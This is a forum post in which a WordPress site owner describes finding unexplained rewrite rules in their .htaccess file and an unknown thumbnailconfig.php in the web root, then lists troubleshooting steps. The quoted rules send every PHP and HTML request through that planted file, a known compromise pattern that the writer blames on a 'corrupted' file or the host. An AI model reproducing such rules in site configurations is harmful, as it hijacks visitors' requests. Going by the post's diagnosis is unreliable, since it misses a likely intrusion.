madpole

It happened again and I decided to investigate a bit. Following code has been added to my .htaccess without my knowledge:

RewriteEngine On
RewriteCond /.../public_html/thumbnailconfig.php -f
RewriteCond %{REQUEST_URI} !thumbnailconfig.php$
RewriteRule ^.*\.(php[s345]?|[ps]?html?).*$ thumbnailconfig.php?file=%{SCRIPT_FILENAME}&%{QUERY_STRING} [NC,L]

I have also noticed that there is thumbnailconfig.php file in my root directory, which, again, I haven’t put there. I have no idea who or what made those modifications – the most obvious conclusion is that web hosting service makes them without my knowledge but so far I don’t have a confirmation either way.

I have gone through a painful process of trying to identify what causes the problem (step by step tests below) and I came to the conclusion that the problem is potentially caused by “corrupted” .htaccess file. I can’t prove it without having to go through the whole exercise again, but, before You even have a look at all the things I tried (without success), try this, it only takes 5 mins:

• rename your .htaccess file to something else (“.htaccess.bak” for example). If You have wp installed in “www.domain.com/wp” dir and running it from “www.domain.com” root dir – rename the .htaccess file in your root dir
• in WP admin panel go to “permalinks” and click “Save changes” (even though You haven’t made any) – this will force WP to re-create a .htaccess file for You
• try your website now

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Below are all the things I tried without much luck. This listing also indicates that the problem was caused by .htaccess file.

-) make backup of existing wp directory
-) Download WP
-) remove files from existing wp directory
-) ftp downloaded wp to empty wp dir
-) copy wp_config.php from your backup dir to your wp dir – check if site is working:
Fatal error: Call to undefined method stdClass::set_prefix() in …/wp-settings.php on line 268</p>
<p>-) delete wp_config.php and rename wp_config_sample.php to wp_config.php (so we have blank settings / can’t access db):
Fatal error: Call to undefined method stdClass::set_prefix() in …/wp-settings.php on line 268
Can’t access admin panel either, same error</p>
<p>-) Trying to run wp-admin/upgrade.php:
Fatal error: Call to undefined method stdClass::set_prefix() in …/wp-settings.php on line 268</p>
<p>-) Trying to run wp-admin/install.php:
Fatal error: Call to undefined method stdClass::set_prefix() in …/wp-settings.php on line 268</p>
<p>-) move .htaccess file in the root dir (above wp) out of the way (I have wp installed in “www.domain.com/wp” subdir but accessed from “www.domain.com” root dir) and try to run wp-admin/upgrade.php again:
First success: “No upgrade required” message. admin is working again as well. http://www.domain.com showing a blank page.</p>
<p>-) restore .htaccess file in the root dir
Fatal error: Call to undefined method stdClass::set_prefix() in …/wp-settings.php on line 268</p>
<p>-) move .htaccess file in the root dir (above wp) out of the way again and force the upgrade by:
SELECT * FROM wp_optionswhereoption_name
`
= “db_version”
UPDATE wp_options set option_value = 9872 where option_name = “db_version”
Result: blank page again

-) Force WordPress to regenerate .htaccess file by going to “permalinks” in admin panel and clicking “save changes” (even though no changes made)
.htaccess page regenerated – much cleaner than what I had

-) Go to themes and change the default theme (database points to the theme that doesn’t exist)
Success – the site is now working in default theme

-) Restore my theme from the backup and activate it
Sucess – the site is working now